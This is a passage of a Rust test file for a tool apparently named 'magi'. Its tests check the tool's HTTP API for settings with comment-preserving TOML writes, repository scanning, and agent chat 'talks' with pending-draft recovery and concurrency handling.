8166 fx.get("/api/health").await.json()["notifications_unread"],
8167 0
8168 );
8169
8170 let missing = fx.post("/api/notifications/nope/read", None).await;
8171 assert_eq!(missing.status, 404, "{}", missing.body);
8172 assert!(missing.json()["error"].is_string());
8173 }
8174
8175 #[tokio::test]
8182 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8183 let f = Fixture::start().await;
8184
8185 let res = f
8186 .post(
8187 "/api/queue",
8188 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8189 )
8190 .await;
8191
8192 assert_eq!(
8193 res.status, 405,
8194 "POST /api/queue must not be a route: {}",
8195 res.body
8196 );
8197 assert!(
8198 f.queue().list().is_empty(),
8199 "a task filed by a route that does not exist must not reach the disk"
8200 );
8201 assert_eq!(f.get("/api/queue").await.status, 200);
8204 }
8205
8206 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8208 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8209 .expect("checkout dir");
8210 }
8211
8212 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8214
8215 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8216 let tmp = TempDir::new().expect("tempdir");
8217 let repo = tmp.path().join("repo");
8218 std::fs::create_dir_all(&repo).expect("repo dir");
8219 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8220 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8221 if let Some(text) = machine_toml {
8222 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8223 std::fs::write(&machine, text).expect("machine toml");
8224 }
8225 (tmp, repo, machine)
8226 }
8227
8228 #[tokio::test]
8229 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8230 let (_tmp, repo, machine) =
8231 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8232 let f = Fixture::with_repo_and_machine(repo, machine).await;
8233 let res = f.get("/api/settings").await;
8234 assert_eq!(res.status, 200, "{}", res.body);
8235 let v = res.json();
8236 assert!(v["error"].is_null(), "{v}");
8237 let role = |k: &str| {
8238 v["roles"]
8239 .as_array()
8240 .and_then(|r| r.iter().find(|x| x["key"] == k))
8241 .cloned()
8242 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8243 };
8244 assert_eq!(role("judges")["source"], "machine");
8245 assert_eq!(role("judges")["editable"], true);
8246 assert_eq!(role("implementers")["source"], "default");
8247 let adv = role("advisors");
8248 assert_eq!(adv["fallback"], "judges");
8249 assert!(
8250 adv["seats"]
8251 .as_array()
8252 .is_some_and(|s| s.iter().all(|x| x == "b")),
8253 "{adv}"
8254 );
8255 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8256 assert_eq!(v["agents"][0]["source"], "repo");
8257 }
8258
8259 #[tokio::test]
8260 async fn settings_get_reports_a_config_that_does_not_parse() {
8261 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8262 let f = Fixture::with_repo_and_machine(repo, machine).await;
8263 let res = f.get("/api/settings").await;
8264 assert_eq!(res.status, 200, "{}", res.body);
8265 let v = res.json();
8266 assert!(v["error"]["message"].is_string(), "{v}");
8267 assert!(
8268 v["error"]["path"]
8269 .as_str()
8270 .is_some_and(|p| p.ends_with("magi.toml")),
8271 "{v}"
8272 );
8273 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8274 }
8275
8276 #[tokio::test]
8277 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8278 let (_tmp, repo, machine) = settings_dirs(
8279 SETTINGS_AGENTS,
8280 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8281 );
8282 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8283 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8284 let rev = f.get("/api/settings").await.json()["revision"]
8285 .as_str()
8286 .expect("revision")
8287 .to_owned();
8288 let body = serde_json::json!({
8289 "revision": rev,
8290 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8291 })
8292 .to_string();
8293 let res = f.put("/api/settings/roles", &body).await;
8294 assert_eq!(res.status, 200, "{}", res.body);
8295 let text = std::fs::read_to_string(&machine).expect("machine");
8296 assert_eq!(
8297 text,
8298 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8299 );
8300 assert_eq!(
8301 std::fs::read(repo.join("magi.toml")).expect("read"),
8302 repo_before
8303 );
8304 let again = f.get("/api/settings").await.json();
8305 let judges = again["roles"]
8306 .as_array()
8307 .expect("roles")
8308 .iter()
8309 .find(|r| r["key"] == "judges")
8310 .expect("judges")
8311 .clone();
8312 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8313 let stale = f.put("/api/settings/roles", &body).await;
8315 assert_eq!(stale.status, 409, "{}", stale.body);
8316 }
8317
8318 #[tokio::test]
8319 async fn settings_counts_are_reported_and_saved() {
8320 let (_tmp, repo, machine) = settings_dirs(
8321 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8322 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8323 );
8324 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8325 let v = f.get("/api/settings").await.json();
8326 let count = |v: &serde_json::Value, k: &str| {
8327 v["roles"]
8328 .as_array()
8329 .and_then(|r| r.iter().find(|x| x["key"] == k))
8330 .map(|x| x["count"].clone())
8331 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8332 };
8333 let imp = count(&v, "implementers");
8334 assert_eq!(imp["value"], 2);
8335 assert_eq!(imp["source"], "machine");
8336 assert_eq!(imp["file_key"], "candidates");
8337 assert_eq!(imp["roster_len"], 2);
8338 assert_eq!(imp["backups"], 0);
8339 assert_eq!(count(&v, "judges")["source"], "default");
8340 assert_eq!(count(&v, "advisors")["min"], 0);
8341 assert_eq!(count(&v, "reviewers")["editable"], false);
8342 assert!(
8343 count(&v, "reviewers")["locked_reason"]
8344 .as_str()
8345 .is_some_and(|m| m.contains("graph.reviewers"))
8346 );
8347 assert!(count(&v, "fixer").is_null());
8348 let rev = v["revision"].as_str().expect("revision").to_owned();
8349 let body = serde_json::json!({
8350 "revision": rev,
8351 "roles": { "judges": ["b"] },
8352 "counts": { "implementers": 1, "advisors": 0 }
8353 })
8354 .to_string();
8355 let res = f.put("/api/settings/roles", &body).await;
8356 assert_eq!(res.status, 200, "{}", res.body);
8357 let text = std::fs::read_to_string(&machine).expect("machine");
8358 assert_eq!(
8359 text,
8360 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8361 );
8362 let after = f.get("/api/settings").await.json();
8363 assert_eq!(count(&after, "implementers")["value"], 1);
8364 assert_eq!(count(&after, "implementers")["backups"], 1);
8365 assert_eq!(count(&after, "advisors")["value"], 0);
8366 let before = std::fs::read_to_string(&machine).expect("machine");
8367 let rev = after["revision"].as_str().expect("revision").to_owned();
8368 for counts in [
8369 serde_json::json!({ "judges": 0 }),
8370 serde_json::json!({ "judges": "x" }),
8371 serde_json::json!({ "judges": 2.5 }),
8372 serde_json::json!({ "judges": -1 }),
8373 serde_json::json!({ "reviewers": 3 }),
8374 serde_json::json!({ "bogus": 3 }),
8375 ] {
8376 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8377 let res = f.put("/api/settings/roles", &body).await;
8378 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8379 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8380 }
8381 }
8382
8383 #[tokio::test]
8384 async fn settings_put_refuses_without_touching_the_file() {
8385 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8386 let (_tmp, repo, machine) = settings_dirs(
8387 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8388 Some(machine_text),
8389 );
8390 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8391 let rev = f.get("/api/settings").await.json()["revision"]
8392 .as_str()
8393 .expect("revision")
8394 .to_owned();
8395 for roles in [
8396 serde_json::json!({ "judges": ["nope"] }),
8397 serde_json::json!({ "reviewers": ["b"] }),
8398 serde_json::json!({ "bogus": ["a"] }),
8399 ] {
8400 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8401 let res = f.put("/api/settings/roles", &body).await;
8402 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8403 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8404 assert_eq!(
8405 std::fs::read_to_string(&machine).expect("machine"),
8406 machine_text
8407 );
8408 }
8409 }
8410
8411 #[tokio::test]
8412 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8413 let tmp = TempDir::new().expect("tempdir");
8414 let repo = tmp.path().join("repo");
8415 std::fs::create_dir_all(&repo).expect("repo dir");
8416 let root = tmp.path().join("root");
8417 make_checkout(&root, "github.com", "yukimemi", "magi");
8418 std::fs::write(
8419 repo.join("magi.toml"),
8420 format!(
8421 "[repos]\nroots = [{:?}]\n",
8422 root.to_string_lossy().into_owned()
8423 ),
8424 )
8425 .expect("write magi.toml");
8426
8427 let f = Fixture::with_repo(repo).await;
8428 let res = f.get("/api/repos").await;
8429 assert_eq!(res.status, 200, "{}", res.body);
8430 let list = res.json();
8431 let repos = list.as_array().expect("an array");
8432 assert_eq!(repos.len(), 1);
8433 assert_eq!(repos[0]["name"], "yukimemi/magi");
8434 assert!(
8435 repos[0]["path"]
8436 .as_str()
8437 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8438 "{list}"
8439 );
8440 }
8441
8442 #[tokio::test]
8443 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8444 let tmp = TempDir::new().expect("tempdir");
8445 let repo = tmp.path().join("repo");
8446 std::fs::create_dir_all(&repo).expect("repo dir");
8447 let root = tmp.path().join("root");
8448 make_checkout(&root, "github.com", "yukimemi", "magi");
8449 std::fs::write(
8450 repo.join("magi.toml"),
8451 format!(
8452 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8453 root.to_string_lossy().into_owned()
8454 ),
8455 )
8456 .expect("write magi.toml");
8457
8458 let f = Fixture::with_repo(repo).await;
8459 let first = f.get("/api/repos").await;
8460 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8461
8462 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8465 let second = f.get("/api/repos").await;
8466 assert_eq!(
8467 second.json().as_array().map(Vec::len),
8468 Some(1),
8469 "a fresh cache must not rescan inside the TTL"
8470 );
8471
8472 let refreshed = f.get("/api/repos?refresh=1").await;
8473 assert_eq!(
8474 refreshed.json().as_array().map(Vec::len),
8475 Some(2),
8476 "an explicit refresh must rescan even inside the TTL"
8477 );
8478 }
8479
8480 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8486
8487 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8491 let tmp = TempDir::new().expect("tempdir");
8492 let repo = tmp.path().join("repo");
8493 std::fs::create_dir_all(&repo).expect("repo dir");
8494 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8495 let f = Fixture::with_repo(repo.clone()).await;
8496 (tmp, repo, f)
8497 }
8498
8499 #[tokio::test]
8500 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8501 let (_tmp, _repo, f) = talk_fixture().await;
8502
8503 let opened = f.post("/api/talks", None).await;
8506 assert_eq!(opened.status, 201, "{}", opened.body);
8507 let body = opened.json();
8508 assert_eq!(body["status"], "open");
8509 assert_eq!(
8510 body["turns"].as_array().unwrap().len(),
8511 0,
8512 "opening takes no agent turn: there is nothing yet to answer"
8513 );
8514
8515 let also_opened = f.post("/api/talks", Some("{}")).await;
8517 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8518
8519 let listed = f.get("/api/talks").await.json();
8520 assert_eq!(listed.as_array().unwrap().len(), 2);
8521 }
8522
8523 #[tokio::test]
8524 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8525 let tmp = TempDir::new().expect("tempdir");
8526 let repo = tmp.path().join("repo");
8527 std::fs::create_dir_all(&repo).expect("repo dir");
8528 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8529 std::fs::write(
8530 repo.join("magi.toml"),
8531 format!("{MOCK_AGENT_TOML}\n{second}"),
8532 )
8533 .expect("write magi.toml");
8534 let home = TempDir::new().expect("temp home");
8535 let talks = Talks::at(home.path().join("talks"));
8536 let ui = Arc::new(
8537 Ui::new(
8538 Queue::at(home.path().join("queue")),
8539 Questions::at(home.path().join("questions")),
8540 talks.clone(),
8541 home.path().join("runs"),
8542 home.path().to_path_buf(),
8543 repo.clone(),
8544 )
8545 .with_worktrees_root(home.path().join("wt")),
8546 );
8547 let cfg = config_for(&repo).await.expect("discover config");
8548 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8549 let id = talk.id.clone();
8550 let call = |agent: &str| {
8551 talk_agent(
8552 State(Arc::clone(&ui)),
8553 Path(id.clone()),
8554 Json(TalkAgent {
8555 agent: agent.to_owned(),
8556 }),
8557 )
8558 };
8559
8560 let unknown = call("nobody").await.expect_err("unknown agent");
8561 assert_eq!(
8562 unknown.status,
8563 StatusCode::BAD_REQUEST,
8564 "{}",
8565 unknown.message
8566 );
8567
8568 {
8569 let mut claimed = None;
8572 for _ in 0..200 {
8573 claimed = ui.begin_talk_turn(&id).expect("claim");
8574 if claimed.is_some() {
8575 break;
8576 }
8577 tokio::time::sleep(Duration::from_millis(10)).await;
8578 }
8579 let _busy = claimed.expect("free");
8580 let busy = call("second").await.expect_err("busy talk");
8581 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8582 }
8583 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8584
8585 let Json(view) = call("second").await.expect("switch");
8586 assert_eq!(view.talk.agent, "second");
8587 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8588 let saved = talks.get(&id).expect("reload");
8589 assert_eq!(saved.agent, "second");
8590 assert_eq!(saved.turns.len(), 1);
8591
8592 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8593 .await
8594 .expect("detail");
8595 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8596 assert_eq!(roster, ["mock", "second"]);
8597
8598 let mut closed = talks.get(&id).expect("reload");
8599 talk::close(&mut closed, &talks).expect("close");
8600 let refused = call("mock").await.expect_err("closed talk");
8601 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8602 }
8603
8604 #[tokio::test]
8605 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8606 let f = Fixture::start().await;
8607 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8608 let queue = f.queue();
8609 let mut mine = Task::new(
8610 "rename the loader".to_owned(),
8611 "rename the loader".to_owned(),
8612 PathBuf::from("/repo/magi"),
8613 Source::Agent {
8614 run: talk_id.clone(),
8615 node: "chat".to_owned(),
8616 },
8617 );
8618 queue.put(&mut mine).expect("file the task");
8619 let mut theirs = Task::new(
8620 "unrelated".to_owned(),
8621 "unrelated".to_owned(),
8622 PathBuf::from("/repo/magi"),
8623 Source::Human,
8624 );
8625 queue.put(&mut theirs).expect("file the task");
8626
8627 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8628 assert_eq!(res.status, 200, "{}", res.body);
8629 let body = res.json();
8630 assert_eq!(
8631 body["status"], "open",
8632 "filing a task does not close a talk"
8633 );
8634 let tasks = body["tasks"].as_array().expect("tasks array");
8635 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8636 assert_eq!(tasks[0]["id"], mine.id);
8637 }
8638
8639 #[tokio::test]
8640 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8641 let (_tmp, _repo, f) = talk_fixture().await;
8642 let id = f.post("/api/talks", None).await.json()["id"]
8643 .as_str()
8644 .expect("id")
8645 .to_owned();
8646
8647 let res = f
8648 .post(
8649 &format!("/api/talks/{id}/say"),
8650 Some(r#"{"text":"what does the queue module do?"}"#),
8651 )
8652 .await;
8653 assert_eq!(res.status, 202, "{}", res.body);
8654 let queued = res.json();
8655 let turns = queued["turns"].as_array().expect("turns array");
8656 assert_eq!(
8657 turns.len(),
8658 1,
8659 "the answer reflects only what is on disk the instant it is sent, \
8660 before the agent's turn - which can run for the whole of \
8661 `[graph] timeout_talk` - has a chance to land: {queued}"
8662 );
8663 assert_eq!(turns[0]["who"], "operator");
8664 assert_eq!(turns[0]["body"], "what does the queue module do?");
8665 assert_eq!(
8666 queued["thinking"], true,
8667 "the accepted response exposes the background turn claim: {queued}"
8668 );
8669
8670 let mut turns_after = 1;
8671 for _ in 0..SETTLE_STEPS {
8672 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8673 turns_after = detail["turns"].as_array().expect("turns array").len();
8674 if turns_after == 2 {
8675 break;
8676 }
8677 tokio::time::sleep(Duration::from_millis(10)).await;
8678 }
8679 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8680 }
8681
8682 #[tokio::test]
8709 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8710 let tmp = TempDir::new().expect("tempdir");
8711 let repo = tmp.path().join("repo");
8712 std::fs::create_dir_all(&repo).expect("repo dir");
8713 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8714 let home = TempDir::new().expect("temp home");
8715 let talks = Talks::at(home.path().join("talks"));
8716 let ui = Arc::new(
8717 Ui::new(
8718 Queue::at(home.path().join("queue")),
8719 Questions::at(home.path().join("questions")),
8720 talks.clone(),
8721 home.path().join("runs"),
8722 home.path().to_path_buf(),
8723 repo.clone(),
8724 )
8725 .with_worktrees_root(home.path().join("wt")),
8726 );
8727 let cfg = config_for(&repo).await.expect("discover config");
8728
8729 for delay in 0..40u32 {
8730 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8731 let id = talk.id.clone();
8732
8733 let handler = tokio::spawn(talk_say(
8734 State(Arc::clone(&ui)),
8735 Path(id.clone()),
8736 Ok(Json(NewTalkTurn {
8737 text: "what does the queue module do?".to_owned(),
8738 attachments: Vec::new(),
8739 })),
8740 ));
8741 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8742 handler.abort();
8743 let _ = handler.await;
8746
8747 let mut turns = 0;
8748 for _ in 0..SETTLE_STEPS {
8749 if let Ok(fresh) = talks.get(&id) {
8750 turns = fresh.turns.len();
8751 if turns != 1 {
8752 break;
8753 }
8754 }
8755 tokio::time::sleep(Duration::from_millis(10)).await;
8756 }
8757 assert_ne!(
8758 turns, 1,
8759 "delay {delay}: talk {id} recorded the operator's turn but \
8760 the agent never answered - the reply task was never \
8761 started after the handler future was dropped"
8762 );
8763 }
8764 }
8765
8766 #[tokio::test]
8811 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8812 let tmp = TempDir::new().expect("tempdir");
8813 let repo = tmp.path().join("repo");
8814 std::fs::create_dir_all(&repo).expect("repo dir");
8815 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8816 let home = TempDir::new().expect("temp home");
8817 let talks = Talks::at(home.path().join("talks"));
8818 let ui = Arc::new(
8819 Ui::new(
8820 Queue::at(home.path().join("queue")),
8821 Questions::at(home.path().join("questions")),
8822 talks.clone(),
8823 home.path().join("runs"),
8824 home.path().to_path_buf(),
8825 repo.clone(),
8826 )
8827 .with_worktrees_root(home.path().join("wt")),
8828 );
8829 let cfg = config_for(&repo).await.expect("discover config");
8830
8831 for attempt in 0..3u32 {
8832 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8833 let id = talk.id.clone();
8834 let turn_guard = ui
8837 .begin_talk_turn(&id)
8838 .expect("claim the turn")
8839 .expect("a fresh talk owes nobody a turn");
8840
8841 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8842 let (release_tx, release_rx) = std::sync::mpsc::channel();
8843 ui.set_busy_queue_gate(BusyQueueGate {
8844 reached: reached_tx,
8845 release: release_rx,
8846 });
8847
8848 let handler = tokio::spawn(talk_say(
8849 State(Arc::clone(&ui)),
8850 Path(id.clone()),
8851 Ok(Json(NewTalkTurn {
8852 text: "what does the queue module do?".to_owned(),
8853 attachments: Vec::new(),
8854 })),
8855 ));
8856
8857 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8862 .await
8863 .unwrap_or_else(|_| {
8864 panic!(
8865 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8866 )
8867 })
8868 .expect("the busy branch dropped the gate without using it");
8869
8870 let running = talks.get(&id).expect("reload talk");
8877 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8878
8879 handler.abort();
8883 let _ = handler.await;
8884
8885 let _ = release_tx.send(());
8891
8892 let mut fresh = talks.get(&id).expect("reload talk");
8895 for _ in 0..SETTLE_STEPS {
8896 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8897 break;
8898 }
8899 tokio::time::sleep(Duration::from_millis(10)).await;
8900 fresh = talks.get(&id).expect("reload talk");
8901 }
8902 assert!(
8903 fresh.pending.is_empty() && fresh.turns.len() == 2,
8904 "attempt {attempt}: talk {id} left the operator's text queued \
8905 with no drainer - the reclaimed turn was dropped along with \
8906 the handler future (pending {:?}, {} turns)",
8907 fresh.pending,
8908 fresh.turns.len()
8909 );
8910 }
8911 }
8912
8913 #[tokio::test]
8914 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8915 let (_tmp, _repo, f) = talk_fixture().await;
8916 let id = f.post("/api/talks", None).await.json()["id"]
8917 .as_str()
8918 .expect("id")
8919 .to_owned();
8920 let store = f.talks();
8921 let mut recovered = store.get(&id).expect("opened talk");
8922 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8923 .expect("persist pending draft without a live turn");
8924
8925 let edited = f
8926 .post(
8927 &format!("/api/talks/{id}/pending/edit"),
8928 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8929 )
8930 .await;
8931 assert_eq!(edited.status, 200, "{}", edited.body);
8932 assert!(edited.json()["thinking"].as_bool().unwrap());
8933
8934 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8935 for _ in 0..SETTLE_STEPS {
8936 if detail["turns"].as_array().expect("turns").len() == 2 {
8937 break;
8938 }
8939 tokio::time::sleep(Duration::from_millis(10)).await;
8940 detail = f.get(&format!("/api/talks/{id}")).await.json();
8941 }
8942 let turns = detail["turns"].as_array().expect("turns");
8943 assert_eq!(
8944 turns.len(),
8945 2,
8946 "the recovered draft must run once: {detail}"
8947 );
8948 assert_eq!(turns[0]["body"], "corrected");
8949 assert_eq!(detail["pending"], "");
8950 }
8951
8952 #[tokio::test]
8953 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8954 let tmp = TempDir::new().expect("tempdir");
8955 let repo = tmp.path().join("repo");
8956 std::fs::create_dir_all(&repo).expect("repo dir");
8957 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8958 let f = Fixture::with_repo(repo).await;
8959 let id = f.post("/api/talks", None).await.json()["id"]
8960 .as_str()
8961 .expect("id")
8962 .to_owned();
8963 let store = f.talks();
8964 let mut recovered = store.get(&id).expect("opened talk");
8965 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8966 .expect("persist pending draft without a live turn");
8967
8968 let refused = f
8969 .post(
8970 &format!("/api/talks/{id}/say"),
8971 Some(r#"{"text":"new message"}"#),
8972 )
8973 .await;
8974 assert_eq!(refused.status, 409, "{}", refused.body);
8975 assert!(refused.body.contains("resume"), "{}", refused.body);
8976 let saved = store.get(&id).expect("draft remains after refusal");
8977 assert!(saved.turns.is_empty());
8978 assert_eq!(saved.pending, "saved before restart");
8979
8980 let say_path = format!("/api/talks/{id}/say");
8981 let (first, second) = tokio::join!(
8982 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8983 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8984 );
8985 assert_eq!(first.status, 409, "{}", first.body);
8986 assert_eq!(second.status, 409, "{}", second.body);
8987 let saved = store
8988 .get(&id)
8989 .expect("draft remains after concurrent refusals");
8990 assert!(saved.turns.is_empty());
8991 assert_eq!(saved.pending, "saved before restart");
8992
8993 let resumed = f
8994 .post(&format!("/api/talks/{id}/pending/resume"), None)
8995 .await;
8996 assert_eq!(resumed.status, 202, "{}", resumed.body);
8997 let duplicate = f
8998 .post(&format!("/api/talks/{id}/pending/resume"), None)
8999 .await;
9000 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9001
9002 for _ in 0..SETTLE_STEPS {
9003 if store.get(&id).expect("talk").turns.len() == 2 {
9004 break;
9005 }
9006 tokio::time::sleep(Duration::from_millis(10)).await;
9007 }
9008 let finished = store.get(&id).expect("finished talk");
9009 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9010 assert_eq!(finished.turns[0].body, "saved before restart");
9011 assert!(finished.pending.is_empty());
9012 }
9013
9014 #[tokio::test]
9015 async fn an_image_only_recovered_draft_resumes_without_text() {
9016 let (_tmp, _repo, f) = talk_fixture().await;
9017 let id = f.post("/api/talks", None).await.json()["id"]
9018 .as_str()
9019 .expect("id")
9020 .to_owned();
9021 let uploaded = f
9022 .post_bytes(
9023 &format!("/api/talks/{id}/attachments"),
9024 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9025 PNG_BYTES,
9026 )
9027 .await;
9028 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9029 let attachment = f
9030 .talks()
9031 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9032 .expect("attachment metadata")
9033 .expect("stored attachment");
9034 let store = f.talks();
9035 let mut recovered = store.get(&id).expect("opened talk");
9036 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9037
9038 let resumed = f
9039 .post(&format!("/api/talks/{id}/pending/resume"), None)
9040 .await;
9041 assert_eq!(resumed.status, 202, "{}", resumed.body);
9042 for _ in 0..SETTLE_STEPS {
9043 if store.get(&id).expect("talk").turns.len() == 2 {
9044 break;
9045 }
9046 tokio::time::sleep(Duration::from_millis(10)).await;
9047 }
9048 let finished = store.get(&id).expect("finished talk");
9049 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9050 assert!(finished.turns[0].body.is_empty());
9051 assert_eq!(finished.turns[0].attachments.len(), 1);
9052 assert!(finished.pending_attachments.is_empty());
9053 }
9054
9055 #[tokio::test]
9056 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9057 let (_tmp, _repo, f) = talk_fixture().await;
9058 let id = f.post("/api/talks", None).await.json()["id"]
9059 .as_str()
9060 .expect("id")
9061 .to_owned();
9062 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9063 assert_eq!(closed.status, 200, "{}", closed.body);
9064 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9065 .expect("serialize closed talk");
9066 for (path, body) in [
9067 (format!("/api/talks/{id}/pending/resume"), None),
9068 (
9069 format!("/api/talks/{id}/pending/clear"),
9070 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9071 ),
9072 (
9073 format!("/api/talks/{id}/pending/edit"),
9074 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9075 ),
9076 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9077 ] {
9078 let response = f.post(&path, body).await;
9079 assert_eq!(response.status, 409, "{}", response.body);
9080 }
9081 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9082 .expect("serialize closed talk");
9083 assert_eq!(
9084 after_clear, before_clear,
9085 "clear must not rewrite a closed talk"
9086 );
9087 }
9088
9089 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9092
9093 #[tokio::test]
9094 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9095 let tmp = TempDir::new().expect("tempdir");
9096 let repo = tmp.path().join("repo");
9097 std::fs::create_dir_all(&repo).expect("repo dir");
9098 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9099 let f = Fixture::with_repo(repo).await;
9100 let id_a = f.post("/api/talks", None).await.json()["id"]
9101 .as_str()
9102 .unwrap()
9103 .to_owned();
9104 let id_b = f.post("/api/talks", None).await.json()["id"]
9105 .as_str()
9106 .unwrap()
9107 .to_owned();
9108
9109 let a = f
9110 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9111 .await;
9112 assert_eq!(a.status, 202, "{}", a.body);
9113 assert_eq!(a.json()["thinking"], true);
9114 let b = f
9115 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9116 .await;
9117 assert_eq!(b.status, 202, "{}", b.body);
9118 assert_eq!(b.json()["thinking"], true);
9119
9120 let listed = f.get("/api/talks").await.json();
9121 for id in [&id_a, &id_b] {
9122 let view = listed
9123 .as_array()
9124 .unwrap()
9125 .iter()
9126 .find(|talk| talk["id"] == *id)
9127 .unwrap();
9128 assert_eq!(view["thinking"], true, "{listed}");
9129 }
9130 let repeated = f
9131 .post(
